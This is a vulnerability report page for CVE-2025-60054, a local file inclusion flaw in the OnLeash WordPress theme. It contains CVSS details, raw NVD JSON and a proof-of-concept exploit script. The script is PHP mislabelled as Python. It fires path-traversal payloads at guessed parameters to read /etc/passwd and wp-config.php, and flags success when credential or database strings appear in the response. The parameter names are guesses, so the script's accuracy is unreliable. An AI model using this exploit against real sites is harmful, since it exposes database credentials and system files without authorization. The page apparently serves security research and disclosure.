Security Vulnerability Report
中文
CVE-2025-60054 CVSS 8.1 HIGH

CVE-2025-60054

Published: 2025-12-18 08:16:05
Last Modified: 2026-04-27 16:16:31

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes OnLeash onleash allows PHP Local File Inclusion.This issue affects OnLeash: from n/a through <= 1.5.2.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AncoraThemes OnLeash <= 1.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-60054 PoC - OnLeash Theme Local File Inclusion * Affected: OnLeash WordPress Theme <= 1.5.2 * Type: Local File Inclusion (LFI) * * Usage: Modify TARGET_URL and run with PHP */ $targetUrl = "http://target-site.com/"; $targetPath = "/wp-content/themes/onleash/"; // PoC 1: Read system file via path traversal echo "[*] CVE-2025-60054 OnLeash LFI PoC\n"; echo "[*] Target: $targetUrl\n\n"; // Common vulnerable parameter patterns $params = ['file', 'template', 'page', 'include', 'load']; $payloads = [ "../../../../etc/passwd", "../../../../wp-config.php", "../../../../../../etc/passwd", "..\..\..\..\..\windows\system32\drivers\etc\hosts" ]; foreach ($params as $param) { foreach ($payloads as $payload) { $testUrl = $targetUrl . $targetPath . "?{$param}={$payload}"; echo "[*] Testing: {$param}={$payload}\n"; $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => 10, 'ignore_errors' => true ] ]); $response = @file_get_contents($testUrl, false, $context); if ($response && (strpos($response, 'root:') !== false || strpos($response, 'DB_NAME') !== false)) { echo "[!] VULNERABLE! Found sensitive data in response\n"; echo "[+] PoC URL: $testUrl\n"; break 2; } } } echo "\n[*] Testing complete. Manual verification recommended.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60054", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:05.117", "lastModified": "2026-04-27T16:16:30.667", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes OnLeash onleash allows PHP Local File Inclusion.This issue affects OnLeash: from n/a through <= 1.5.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/onleash/vulnerability/wordpress-onleash-theme-1-5-2-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}